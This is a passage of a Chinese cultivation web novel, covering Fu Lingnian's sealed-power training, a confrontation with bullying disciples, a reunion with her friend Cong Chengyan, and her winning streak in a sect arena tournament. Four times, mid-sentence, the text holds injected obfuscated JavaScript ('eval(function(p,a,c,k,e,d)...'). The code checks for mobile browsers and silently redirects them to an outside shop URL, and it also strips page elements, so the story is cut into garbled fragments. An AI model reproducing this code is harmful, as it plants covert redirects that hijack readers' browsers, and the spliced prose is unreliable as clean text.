“没事…哈哈哈哈哈哈哈哈…是有点不太正经…哈哈哈哈哈哈哈哈…”温季才笑得简直停不下来。 “别笑了,温师弟。”伏令年面无表情地盯着他。 听到这个称呼,温季才顿时笑不出来了。 小孩总有种莫名的好胜心,例如温季才,总是对伏令年成了自己师姐这一事而感到憋屈。 “找我回来有什么事?”伏令年扳回一局,嘴角微微勾起,问起了正事。 “也不是我找你有事。”温季才掏出一块通讯石,放于地面后点了点。 类似水影幕般的屏幕升起,浮现于几人面前。 安祉的身影在其中显现。 安祉的话语很简短,总结来讲就是遨月峰本月内还差一个任务未完成,需要三人去完成。 昆仑宗内,除了每个弟子都有宗门贡献点外。连每一个山峰每年都有固定需要完成宗门贡献点标准。 关于哪一个山峰实力更强,看其峰内的总宗门贡献点也能评判一二。 可惜当年的伏令年两人哪懂这些,稀里糊涂的便加入了遨月峰。 要为自己的山峰获得宗门贡献点,通常需要完成较为困难的任务。普通的内门弟子难以胜任。 在三人成为亲传弟子前,能坐阵的便只有沈枫泽和安祉两人,可想而知两人为了完成贡献点标准有多么不容易。伏令年不由得有些敬佩二人了。 “师姐,辛苦啊。” “啊?你想多了。”安祉听了伏令年的话,却摊了摊手:“完不成就不干了,反正我们峰已经破成这样了,宗主长老他们也不能拿我们怎样。” 伏令年三人:“……” “哦对了。”安祉道:“我差些忘记提醒你们了,过两日有筑基期的宗内比试,我替你们三都报名啦。你们完成比试再下山做任务,别忘记啦。” 见伏令年温季才两人垮起脸来,安祉依旧笑眯眯的:“哎呀,年轻人就是要多多历练的……而且,打进前二十有宗门贡献点噢。” 果然,老师说得对,重点得看转折以后。 “不说了,师姐我这边有点忙。”安祉说着,就打算关闭通讯石。就在关闭的前一秒,她的画面中突然出现了一道曼妙的身影,轻柔甜腻的声音随之响起:“姐姐,奴家来给你斟酒吧…” “呃…”三人面面相觑。 忙,忙点好啊! …… 翌日,伏令年照常在没有灵力的情况下前往峰中主殿领取任务。 这既是她修炼的一种方式,也是她获得宗门贡献点的必须。 今天的任务是在青叶峰替医修们收取草药。 伏令年没法御剑,但她靠自己的丹药贿赂了时常往返于遨月峰的几只仙鹤。它们和千云一样,都能听懂人语,机灵得很。 到达目的地,伏令年掏出那盒被沈枫泽称作老鼠屎的丹药。但它显然不太满意,伏令年只好取出另一个盒子中拿出一颗喂给了它。这下,仙鹤才满意地振翅飞离。 伏令年盯着手中的两盒丹药看了一会,确定它们一样都很丑。而仙鹤却对它们态度迥异。 细细回忆起来,这样的差别并非是首次,千云曾经也对她炼制的同种类丹药有不同的态度。 这之间,到底有什么区别呢? 未等伏令年想出个所以然,头顶忽的被阴影所笼罩。抬头一瞧,就见一只眼熟的仙鹤从天而降。 伏令年喜道:“千云!” 千云依旧姿态优雅,它慢慢走来,仰起脑袋,蹭了蹭伏令年的衣角。 在千云的引导下,伏令年见到了久违的楚老头。 加入遨月峰后,伏令年没法再时常到灵田这给楚老头打工。便将许子迁给的一块上品灵石给了楚老头抵债,顺带在他这儿换了许多日后会用到的灵植,再多的灵石被她攒着打算以后买个更好的炼丹炉。 楚老头还是如往日那样,白发稀疏,懒懒地坐在药田旁的躺椅上摇着蒲扇。瞧见伏令年时,他眼中精光闪动了一瞬,眼神便重新恢复浑浊。 “怎么?在内门没混好,修为被废了? ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|12986840|131734||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ” 伏令年心生讶异,意外于楚老头居然能够一眼便看出她此时的状态不对。 她立即装作可怜的模样:“是啊,我好可怜的,内门的人都太可怕了,我人善被人欺啊。” 楚老头哪还能不知道伏令年满嘴乱扯的脾性,他挥了挥手,提前打断伏令年施法:“好了好了,我还能不知道你?还人善…你去了哪个峰?” 伏令年没有隐瞒,回答道:“遨月峰。” 楚老头摇晃蒲扇的手微微一顿,沉默许久,他忽的问了一句:“沈聿泽现在如何了?” “谁?”在伏令年下意识问出这句话的下一刻,灵识海忽的有所触动。 【九十年义务修仙系统提醒您】: 【为培养修士正确的人生观、价值观,形成良好的道德品质和政治观念。特别开展德育修行计划。 培养良好观念第一步,交友。 面对陌生人,你是否化身社恐。面对潜在好友,你是否总是错过。不要恐惧!不要错过!遇上对的他,马上出手吧! 任务: ①自信的开场白是社交的第一步,向潜在好友sayhallo吧。与潜在好友交换姓名(2/2)已完成 ②已完成 ③已完成 完成任务奖励:【有用的奖励*1】】 【成功获得【有用的奖励*1】 拥有数量:2】 楚老头怪异地看了伏令年一眼:“你们峰主啊。” “啊?” 直到完成任务回遨月峰的路上,伏令年还沉浸于这巨大的震惊中久久没能回过神来。 身体的疲惫和精神的呆滞让她反应能力都下降了许多,竟在下山路上撞上了其他弟子。 “滚开!”被她撞上的少女一声怒喝,把伏令年从震惊中拉回了现实。 “抱歉抱歉。”伏令年自知是自己走神撞了人,主动道了个歉。道歉声与少女的谩骂声近乎重叠起来,听着格外刺耳。 回过神来后,伏令年忽觉得面前少女极其眼熟,连她刚刚那一声暴喝也格外耳熟。 仔细打量之下,伏令年又看见了少女身上属于绯月峰的标志。 这不就是三年前那个和从承言在昆仑峰打了一架的少女吗? “你个杂役弟子,撞了江师姐不懂得道歉?!”旁边的不知名小跟班出声,怒斥伏令年。 伏令年可从来不是什么软柿子,她翻了个白眼:“耳朵不好没关系,青叶峰主殿右转,包治耳病。” 说完,伏令年一溜烟远离了几人。她此时没有灵力,也绝对不可同几人动手,嘴瘾过完就跑。 “你给我站住!”小跟班呵斥声响起,伏令年头也不回,丝毫不做理会。 待到背后呼啸声起,伏令年无奈止步,右手发力准备着出剑格挡。她灵力虽然被封,身体却早已不是凡人的水准,在危机时刻也不是不能突破桎梏重获灵力。 少女果然还是当年的少女,仗着自己的背景与力量一言不合便想动手。 然而,还未等她还手,那袭向伏令年的物什却先一步被挑飞。 “够了,江玉忻。”一道熟悉又陌生的嗓音在伏令年身侧响起:“我会将你的所作所为上报给师父。” 声音的主人在最后时刻瞬息来到了伏令年身侧,为她挡下了江玉忻的攻击。 “嗯?”伏令年心有预感,缓缓侧头。 就听江玉忻声音带怒:“从承言,我管教一个杂役弟子,无需你多管闲事吧?!” 36. 小人物 从承言?!伏令年终于看清了面前之人的容貌。少年脸庞线条清晰,剑眉星目,可谓称得上是面容俊朗。 比起三年前,他褪去了年少的稚气,多了丝沉稳。身高也抽条了不少,即使伏令年这几年长得也是颇快,却依旧矮了从承言一个脑袋。 看来他这几年来变化也不小呀。 但从承言显然没能认出同样变化巨大的伏令年,他的视线停留于江玉忻身上,面无表情。两人之间的火药味极浓,似乎有一言不合便拔刀相向之势。 气氛如此,伏令年却比刚刚放松多了,闲暇之中,她开始打量起从承言的衣着——衣袍柔顺,泛着丝缎的光泽,衣袖绣有金边,精美之外又不显得太过华贵。再看他腰间的剑鞘,古朴素雅。外露出赤霄剑剑柄宛若火焰点缀于腰间。 不细看还不晓得,这小子如今的穿着打扮可真是豪气,绯月峰果真是昆仑宗最有钱的山峰之一。 自己的贫穷固然令人叹息,故友的富有却更令她发酸!伏令年在心中想着。 就在两人僵持之间,周围忽有人上前劝阻。 “温师弟,江师妹。我们皆是同宗门的师兄妹,何必为了小人物而产生间隙啊?” 说话者身着紫云峰内门弟子的服饰,笑容温和,说话也圆滑。话里话外将二人的冲突怪罪于了伏令年这个“小人物”身上,想以此软化两人之间的冲突。 然而,江玉忻显然不想放过伏令年——或者说,她不想在与从承言的冲突中落了下风。 只见她眉毛一横,脸现不屑之色:“听见了吗,从承言,别为了个小人物和我作对。把她交给我。还是说——”她翘了翘嘴角:“你看见了她,就想起了几年前被你抛弃的两个废物朋友?加入遨月峰的他们估计也同那些杂役弟子没什么区别了吧?都是扶不上墙的废物。” 这段话显然是江玉忻故意而为,她知晓从承言很在意他曾经的两位同伴,便有意死踩他的雷区。 既骂了从承言抛弃了朋友,又连带着把伏令年温季才以及遨月峰给骂了进去。为的就是激怒从承言。 若是从承言被激怒出手,江玉忻便站在了道德的高地。 毕竟她出手只是为了教训一个她认为的“小人物”,从承言动手可就是直接攻击同门师兄妹了。即使是她一言不合攻击他人在先,却也必然不会受到师父责罚。 在修仙界,在江玉忻以及她兄长这种人眼中,修为低微的”小人物“便是如此的不重要,能任由他们随意鱼肉。 伏令年被江玉忻几人连着跳脸羞辱,内心自然有火气。但更让她不适的,却是江玉忻一行人对杂役弟子等一众“小人物”的蔑视态度。 自小接受的教育告诉她众生平等,昆仑宗的宗规中也亦有守护苍生大爱天下之责。虽然在成长的路上,伏令年也多次窥见了世界一角的黑暗,但她依旧坚信着深埋于内心的理念。 江玉忻这一类人拥有力量,却将力量与背景用于欺压他人。他们举起的剑锋,不对向妖魔,却斩向了普通人。 一口火气在心口燃烧,但伏令年知晓这并不是同江玉忻动手的好时机。她也知晓江玉忻心里打的什么主意。 余光瞥见从承言脸色阴沉,伏令年忽的抬手,拽了从承言一把。 她这一下动作不大,但足以引起从承言的注意。从承言疑惑低头,正好对上伏令年的视线。 从承言的眼眸当中映出了伏令年的模样。一身黑衣的少女,乌发随意扎起,眼神明亮锐利,表情平静无波。若忽略她手上与脸上由于收割草药而沾上的尘土与汗水,可谓是明锐英气。 伏令年三年前还是脸上略有婴儿肥的可爱小姑娘,如今却是朝着高挑英气的方向成长,变化大得不是熟人都近乎认不出来。 但不知怎么的,一看到伏令年的眼睛,从承言心底便生出了强烈的熟悉感。 “伏……”从承言张了张嘴,几乎要将伏令年的名字脱口而出。 此时他眼里哪里还有怒火,满眼写着:‘你怎么混成这样了’的担忧之情。 伏令年转而瞪他:’混得好了不起呀!‘ 眼见着从承言也不生气了,甚至低下头同那杂役弟子眼神一阵眼神交流,江玉忻顿时有种被无视的不爽感。 于是,她张嘴又想说些什么,却见伏令年与温季才两人忽地齐齐抬手,捂住了耳朵。 江玉忻只觉得自己胸口处憋了一口气,有火发不出来。她虽然娇蛮,却也不是傻子。自然不想为了教训杂役弟子而落下一个攻击同门师兄弟的口舌。 伏令年两人捂着耳朵,摇头晃脑。江玉忻脸色泛红,脸现怒容。四周的其余弟子面面相觑,不知做何反应。 就在气氛尴尬之际,不远处有一青叶峰的弟子靠近。同江玉忻几人一道的各峰弟子便随着那青叶峰弟子往峰上走了。见此情景,江玉忻冷哼一声,扭身带着小跟班们离开。 这时,从承言才能有时间同伏令年说上几句话。 “你的修为…” “你们怎么来青叶峰了?” 两人的话语近乎重叠在一起。 伏令年眼中带笑,抢先回答道:“这是我的修炼方式,灵力被暂时封住了,你放心好了。” 从承言听闻此言,松了一口气,他点了点头,挤出一个真诚却依旧僵硬的笑容:“我们来青叶峰和丹峰领取每月修炼所需的草药和丹药,每个峰的亲传弟子都有。” 伏令年:? 她怎么就不知道亲传弟子还有这种优待? 从承言看伏令年一脸怪异,想了想,面露怜悯之色:“呃…前提是每月的总宗门贡献点达标…” 伏令年明白了。 伏令年悲伤了!真是师门贫穷,弟子凄惨。 看来遨月峰真如安祉师姐所说,达不了标便直接放弃了,可谓是超级松弛感啊! 就两人讲几句话的一会儿,青叶峰的弟子已经领着大队伍走远了,和伏令年两人拉开了不小的距离。 伏令年摆了摆手,同从承言告别:“走吧走吧,下次见。” 尽管从承言还有好多话想同许久未 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13025230|131734||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 见的同伴述说,但他也知晓此时并非长谈的好时候。 紧走两步,他跟上了队伍的尾巴。 那位紫云峰的弟子也处于队尾,见着从承言,他笑眯眯地招呼道:“从师弟。” “应师兄。”从承言礼貌地应了一句。 在昆仑宗,各峰的弟子的排序方式有所不同,若无直接的辈分关系,都以入门的时间相称。 这位紫云峰的弟子比从承言早入内门四年,因此称呼他为师弟。 “刚才那位…弟子,是你的好友?”应师兄笑着问道。 还未等从承言回答,他拍了拍从承言的肩膀,语重心长地道:“从师弟,我知晓你重情义。但你还是得明白,你与那些凡人终究不同,应当同你的同门师兄妹站在一起啊。” …… 伏令年并未直接回遨月峰,而是在千云的帮助下来到了浮空岛。 楚老头的话与突然出现的系统提醒将看着八竿子打不着的美男子同遨月峰峰主联系在了一起。 若在这之前,有人直接同伏令年说遨月峰峰主便是那美男子,她一定会回复信这个不如信她是修仙界秦始皇。 然而,系统的提示就这么摆在她的眼前。除非是系统出了差错,或者两人恰好同名同姓,否则事实恐怕就是这么的奇幻。 自打伏令年第一次来到浮空岛后,她便再也未再遇见美男子。 千云成功降落,未有出现那一次从天掉落的情况。 这让伏令年更加怀疑美男子的真实身份。 即使遨月峰再不济,作为被称作“新一代天骄剑修”的沈枫泽的师父,一峰之主,修为自然不容小觑。让千云直接“坠机”对他而言应当也不是什么难事。 而美男子曾经似乎也提到过“沈枫泽”的名字,语气还颇为熟稔。 如此想着,伏令年倒是能够将两人联系在一起了。 美男子在她心中的形象逐渐从讲故事很烂的不知名岛主变成了神秘的遨月峰峰主沈聿泽。 然而,伏令年在浮空岛上转了一圈,却并未如愿遇见美男子。 她只好顺手收拾打理了一遍岛上的各种植株。 让她惊讶的是,即使她因为考核和修炼已经许久未来过浮空岛,上头的植株却依旧好好得,并未因为缺乏打理而野蛮生长。 似乎除了伏令年以外,还有其余人会定时进行打理。 夜色将暗,伏令年行走于草丛中,打算离开浮空岛。 草地被鞋履踩过,发出沙沙的摩擦声。伏令年突然顿住,四处打量起来。 她似乎捕捉到了车辙碾过草地的动静。 失去灵力辅助的她感官敏锐程度皆有所下降,无法做出准确的判断。 朦胧的光线之中,伏令年只能隐隐看见不远处的林中闪过了一片白色的衣角。 这座岛上除了她还有别人? 然而,待她靠近细瞧,却未见到一人。 眼看着夜幕降临,天上繁星点点。伏令年并未再做细究。毕竟她并非这座岛的主人。 37. 擂台比试 伏令年自己也未想到,随口说的下次见这么快便到来了。 刚刚结束修炼,三人只来得及换身内门弟子的服饰,便急匆匆赶往昆仑峰。 虽然进入遨月峰后,三人都拥有遨月峰独有的内门弟子服饰。但在经过沈枫泽的几次训练以后,他们平日穿着的服装便变为了统一的一身黑。 要说为何穿黑衣,理由简单且粗暴。用沈枫泽本人的话来讲,是为了避免血溅一身弄脏衣服。 至于是谁的血,那便无需多说了。 三人如今只要看见沈枫泽那张脸,就觉得浑身哪哪都疼。 乘坐仙鹤,三人火急火燎地降落于昆仑峰山脚。 为了赶时间,伏令年甚至还没来得及完全破除自身灵力被封印的禁制。在外界眼中,此时的她看上去才刚刚筑基,灵力微弱得可怜。 “可恶的沈枫泽…他…还不给我解除…禁制…”伏令年一边苦哈哈地爬阶梯,一边和两位同伴蛐蛐沈枫泽:“还说…我自己解决就行…我看他…就是想…看我笑话。” 爬完最后一阶,伏令年一口气还没有喘匀,忽听耳边有人淡淡地说:“什么笑话?” 伏令年打了一个激灵,反射性地闪往一旁,和声音的主人拉开距离。 “咳…师兄,你不是不来吗?”伏令年看着姿态悠闲的沈枫泽,感觉早上修炼留下的伤又复发了,身上隐隐作痛。 “怎会?”沈枫泽似笑非笑地盯着三人:“你们第一场宗内比试,我这个做师兄的自然要来看看。” 还是不必了吧!三人唯唯诺诺,不敢吱声。 就在这时,又有一批弟子顶着威压爬了上来,为首之人伏令年居然是不久前在青叶峰见到的那位说话圆滑的紫云峰弟子。而让她惊喜的,是跟随在那弟子身后的容晋卿。 许久不见,容晋卿气质依旧温润,嘴角始终挂着一抹抹淡淡的笑意。与伏令年目光相对时,却见他眉头忽地蹙起,似乎在努力回忆着什么。 伏令年:…… 好嘛,故人相逢却不识。她这几年不就长高了一些吗,怎么每个人都认不出她来? 领头的紫云峰弟子瞧见几人,脸上立即带上了笑容,上前朝沈枫泽行礼。 “沈师兄,许久不见。你今日也是来看小弟子们的比试的?” 沈枫泽:“嗯。” 紧接着,两人间就陷入了尴尬的沉默之中。沈枫泽显然不是块聊天的好材料,但他也从不内耗,就这么面无表情地与领头弟子对视,深刻践行着只要他不尴尬便是别人尴尬地理念。 领头弟子脸上的笑容险些挂不住,他只好再起一个话头,侧身介绍起了跟在他身后的几位弟子。 他先是明里暗里将自己的师弟师妹们夸了一顿,末了又转头朝着沈枫泽叹息道:“他们是有些天赋,可惜,还是不如沈师兄你当年啊。” 沈枫泽木着个脸,让旁人看不出他的真实情绪。但对于熟悉他微表情变化的伏令年几人来说,一看就知晓他刚刚在发呆,压根就没认真听别人在说什么。 只听沈枫泽道:“嗯,那确实差点。” “咳。”伏令年差些没忍住笑出声来。 她这一下顿时吸引了在场大多数人的注意。领头的紫云峰弟子被沈枫泽这样的态度惹恼,却又不好发作。 他横眼扫过伏令年,忽地皱起了眉头。 “你…”他觉得伏令年十分眼熟。 他似乎终于想起了在哪儿见过伏令年,轻笑一声:“这位师妹…那日瞧见你,修为如此…”他话头顿了顿,未将话说完:“还以为是青叶峰的杂役弟子呢。没想到居然是遨月峰的小弟子,真是我眼拙了。” 为了参与比试,三人皆按照规范换了身遨月峰内门弟子的服饰,一看便知晓出自何峰。 伏令年自然知道紫云峰弟子这一句话没抱什么好意,她也不恼,笑容真诚地回道:“没事的师兄,我们昆仑宗当今医修丹修人才辈出,医治区区眼疾必是手到擒来。” 此言一出,紫云峰弟子脸上的笑容终于是挂不住了。他收回笑容,冷冷扫过伏令年几人:“传闻遨月峰断代已久,我还不相信。如今看来,传言并非空穴来风。不知你修为是否如你言语那般犀利?” 这时,原本神游在外的沈枫泽似乎突然回过神来,他揉了揉耳朵,瞥了眼伏令年:“你说你待会拿下头筹手到擒来?” 听闻此言,领头紫云峰弟子背后好奇着张望的小弟子中顿时有几位都笑出了声。 三人光看表面修为最高的也仅是筑基五阶,更别提伏令年如今修为低得可怜,甚至比不上部分外门弟子。别说拿下头筹了,不是一轮游都算是幸运。 因此,在他人眼中,沈枫泽这句话的确十分得可笑。 “瞧,她脸色都白了。”有人低声笑道:“我都替她难堪呢。” 伏令年的脸色确实白了,倒不是由于难堪,而是吓得。 他人的嘲笑与嘲讽对伏令年而言几乎没有任何伤害,她自然可以用实力证明自己。 但沈枫泽动起手来带来的痛苦可是□□和精神双层面上的,而很不幸的是,伏令年暂时还没有实力去摆脱这位大师兄的魔爪。 沈枫泽什么脾性她这三年可领会过了,他这句话绝对不是听错了,也不是在开玩笑,而是实打实的威胁啊! “前十不行吗?”一想到自己可能会被吊在悬崖上晒干的惨状,伏令年试图讨价还价。 沈枫泽笑了一声,没说话,身影一晃人便到了几米开外。 温季才拍了拍伏令年的肩膀,语气悲伤,笑容却藏不住了:“加油。” 伏令年只想捂住自己刚刚那张输出的嘴巴,说好的努力打进前二十挣点宗门贡献点呢?如今是什么情况啊! …… 比试的场地设立于昆仑峰的演武场,规则十分简单。 演武场共有十个擂台,可供二十位弟子比试。参加比试的弟参加比试的弟子各自抽签决定相应擂台,接着以守擂的方式持续接受对手的挑战。输了比试的弟子可以再向其余擂台的弟子发起挑战,共有三次机会。 若三次输下擂台,便失去挑战的机会。 最后排名以累计积分确定,赢一场获得十积分,输一场扣除五积分。最终守住擂台的擂主获得额外五十积分。 伏令年很不幸地抽到了最后一个擂台的一号,这意味着她需要第一批登上擂台进行比试,并且要作为擂主接受他人的挑战。 即使她已经在暗中不断努力试图冲破禁 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13038356|131734||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 制重获灵力,但当她将要登上擂台时,却仅仅从筑基一阶恢复到筑基二阶。离她正真的修为筑基五阶还差了许多。 无奈之下,伏令年只好跃上擂台,迎接自己的第一位对手。 按照礼节,伏令年朝对手行了同辈之礼,报上了自己的姓名:“遨月峰,伏令年。” 对面是一位眉目清冷的少女,听到伏令年的名字,她眼眸突然发亮,朝伏令年露出一个大大的笑容:“是你?!” “嗯?”伏令年疑惑地看着对面少女兴高采烈地取出了自己的武器——一个巨大的炼丹炉。 “丹峰,夏悠清。伏师姐,我仰慕你许久了!” “啊?” 仰慕她什么? 夏悠清没做解释,举起了她的炼丹炉。她显然未受过专业的训练,脚步未有变化,就这么直直地举着炼丹炉冲上来了。 伏令年手中剑未出鞘,只是用着剑鞘去击打炼丹炉的重心处。看上去不经意的一敲,却令夏悠清未能握住手中的炼丹炉。 只听“砰”的一声,炼丹炉脱手飞出,骨碌着滚到了擂台下。 夏悠清输了,她也不恼,眼神反而更加仰慕:“师姐果然不一般,如此轻易便能破了我的‘惊天一击’。” 一边说着如此中二的台词,她一边乐呵呵地跳下台拾自己的炼丹炉了。 还未等伏令年搞明白到底发生了什么,下一位对手便登上了擂台。 这位对手膀大腰圆,肤色呈现古铜色,看着就不太好惹。眼看着对方已经摩拳擦掌,伏令年立即举手示意自己需要休整。 为了维持公平性,完成一轮比试的擂主可以要求半炷香的休整时间。 对手显然讶异于伏令年的行为,毕竟刚刚那一场宛如儿戏的战斗简直不能称作战斗。伏令年连脚步都没挪动过,更别提消耗过度要休整了。 伏令年没理会周围人古怪的眼神,她急忙坐下入定,全神贯注地操控灵力冲击体内的禁制。 半炷香的时间过后。 两人互相通报姓名,早已摩拳擦掌的对手立即持剑冲了上来。 他力道惊人,每一剑都仿佛能撕裂金石。然而,在伏令年眼中,对方运动攻击的轨迹都太过直接,缺少变化。 在二人交锋之中,对手虽看似掌握主动攻击的优势,却被伏令年以精妙灵巧的身法引领着节奏。他的每一剑似乎都打进了水流当中,而伏令年却宛若游鱼般在即将被击中的下一刻一扭身躲开了。 最终,对手力量耗尽,被伏令年一腿扫出了擂台范围。 获得胜利,伏令年立即示意休整,又旁若无人地打坐冲击着禁制。 就这样,处于擂台周遭的人便看着伏令年重复着打败对手、坐下打坐、再次起身打败对手的流程。 明明看上去只是刚刚筑基不久的修为,却总能风轻云淡地赢下比试。 更可怕的是,当伏令年打败第五个对手,经过打坐重新站起身后,众人明显感受到了她身上传出了较为强烈的灵力波动。 一般来说,这应当是修为突破后的表征。 而表面风轻云淡·高深莫测·伏令年此时正在心中痛骂沈枫泽:‘这禁制到底是拿什么做的,努力了这么久居然只冲破了一阶?!’ 38. 屡战屡胜 休整时间已过,下一位对手登上了擂台。 伏令年平复着自身因为冲破一层禁制而有些紊乱的灵力,就见对面之人行礼:“紫云峰,林屿燕。” 借着行礼互相通报姓名的当儿,伏令年快速将对手从头到尾观察了一遍。 名为林屿燕的少女身姿挺拔,同伏令年身高相仿,但不像伏令年那般单薄。行走间自有律动,看着也是一位以身法见长剑修。 利剑出鞘之时,林屿燕身周风声乍响。出剑之时,仿佛与气流产生了共鸣。 一股股气流打转着形成气旋,将处于她攻击范围内的伏令年死死咬住。 在吸力的作用下,伏令年无法再如水中游鱼般肆意摆动变化身位。 在快速动作之间,伏令年看见了对方的双眼。林屿燕的眼中透出淡淡的笑意,似乎势在必得。 她在台下观看了伏令年的好几场战斗,自认为伏令年的优势在于身法。因此,她想逼迫伏令年与她正面相抗。 发觉无法闪躲之际,伏令年当机立断,转变方向,反而朝着林屿燕的方向迎面撞了上去。 一瞬便将两人的距离拉近至半米之遥。 在林屿燕剑势还未积蓄到极致之时,伏令年手中的剑已先一步与之相撞。 金铁交击,剑鸣声起。在对方惊讶的目光之下,伏令年稳稳地接下了这蓄谋已久的一剑,看似单薄的身躯内骤然迸发出极强的力量。 随即,伏令年催动灵力一股脑灌入剑中,以绝对力量撕裂了对方布下的层层气流桎梏。反手一剑,她以进为退,逼得林屿燕连连后退了好几步。 逼退了对方,伏令年并未急着继续攻击。 她如今的灵力有限,还得分出一部分持续冲击压制她修为的禁制,在总灵力上绝对不如林屿燕。 若一直选择硬碰硬的打法,她很难坚持到最后。 林屿燕被伏令年犀利且精准的反击打得措不及防。她神色不断变化,起先是震惊与不解,后又渐渐平静了下来。 当她再次挥剑斩来时,眼中已再无轻视,取而代之的是严肃与认真。 林屿燕每一剑斩出,看似速度不快,却总能引动周遭的气流,遏制伏令年的行动。因此,伏令年倘若不选择与起正面相对,便需要激发灵力破开气流躲避。 这样的情况下,无论是攻击或是躲闪,都需要耗费不少的灵力。 二人连着交手数招,看似谁也没落下风。但两人皆在内心暗暗吃惊于对方的真实实力。 在身受气流桎梏的情况下,伏令年莫名感觉自己似乎回到了处于沙漠之中的那几日,想起来那日受温季才指导操控气流形成护罩的感受。 联想到此,伏令年在步伐灵活地躲避对手的同时,也操纵起灵力引动周围气流,试图与对手争夺对气流的控制权。 林屿燕始终都处于主动进攻的位置,仿佛主宰天空的雌鹰,又快又准地不断扑击着自己锁定的猎物。 然而,身为“猎物”的伏令年却比她想象中还要强大,灵力明明不如她自身,却每每能在交手时爆发出惊人的力量。 这样僵持不下的情况使林屿燕心中焦急,从而忽略了周遭细微的变化。 当她发觉周遭气流发生异变之时,伏令年已然进一步掌控了气流,并能够在周身形成护罩,以保在与她对抗中不再遭受桎梏。 完全摆脱气流桎梏的伏令年如鱼得水,速度顿时有了极大的跃升。 伏令年近乎化作一道残影,一改被追着打的状态,顷刻间便出现林屿燕的面前。 林屿燕感受到情况不妙,立即决定放手一搏。她灵力推动着周身气流变得狂暴,近乎化作片片风刃,依附于剑上朝伏令年倾泻而来。 伏令年快速接近,剑上红色光芒流动,刹那间化作火焰巨剑斩落。 一声爆响过后,两人同时后退。 林屿燕在伏令年一剑的力道下被震得连退数步,待她将要站稳之时,却忽觉脚下被什么绊住了。 一下爆发消耗巨大且身体还处在虚弱的她竟直接被绊倒,重心不稳跌出了擂台。 重新站起,林屿燕看着擂台上那一株不知何时冒出来的藤蔓,以及看似一脸纯良的伏令年,嘴角抽了抽。 两人的战斗如此激烈,却未想到居然以如此戏剧性的方式结束。 沉默了一会,林屿燕重新跃上擂台,拾起自己刚刚跌落时脱手飞出的佩剑。 看着伏令年,她忽地拱了拱手:“抱歉,你很强。是我以貌取人在先。” 听闻此言,伏令年微微一怔,却不想林屿燕开口竟然是道歉。 “希望日后,我还有再与你一战的机会。”林屿燕表情认真,让伏令年如此厚脸皮的人都有些不好意思了。 “当然,随时欢迎。”伏令年也以真挚的笑容作以回应。 林屿燕与伏令年比拼最后一剑之时,已知晓两人之间的差距。伏令年终将成为这场比试的赢家,她是否被绊倒下场,只是会影响比试结束的早晚与灵力消耗的程度。 因此,她输的心服口服。 身处台上的林屿燕知晓自己在战斗中与伏令年的明争暗斗,台下看“戏”的人却难以完全体会。 所以,在他们眼中,伏令年或许有些实力,却终究只是靠上不了台面的小计谋赢得了胜利。 利用规则赢得比试,虽在情理之中,却被部分自视清高的修士所不齿。因此,这场比试非但未使挑战者知难而退,反而越来越多。 不过,伏令年也不在乎别人在心中如何去看待她,她只知道自己要是不拿下头筹,可能会被挂在悬崖上晾成遨月峰特产人干。 无论有多少人想来挑战,都得等她先休整半炷香时间。 刚刚与林屿燕的一战,虽谈不上艰苦卓绝,却也并非举重若轻。 想要在半炷香内恢复到鼎盛时期都困难,更别提再冲击下一道禁制。 幸而在最后关头将能将林屿燕绊下擂台,否则伏令年恐怕就要因为灵力消耗过多而在后续的比试中痛失擂台了。 伏令年就这么保持着打一场休息半炷香时间冲击禁制的规律,又连着将七位挑战者打下了擂台。 在此期间,她的战术变化多端。时而如游鱼般飞快游走,时而持火焰巨剑劈斩砍刺,时而又如林间毒蛇般出手果决,也不乏出现如绊人脚腕那样的无赖打法。总之怎么省力怎么来。 一般而 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13049768|131734||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 言,不同师门皆有一套或多套独特的修行方式与武艺路数。身为刚刚筑基的弟子,大多都讲究一个求精不求多。 少有如通过伏令年这般打法古怪多变又看似没有章法的。 用他人的话来讲,简直就像个不知哪来的野路子的散修。 还有部分人打着打着就发现伏令年剑法身法中莫名多出了些熟悉的味道,再仔细一瞧,可不就是自己刚刚所用的吗? 简直是剑修界小偷啊! 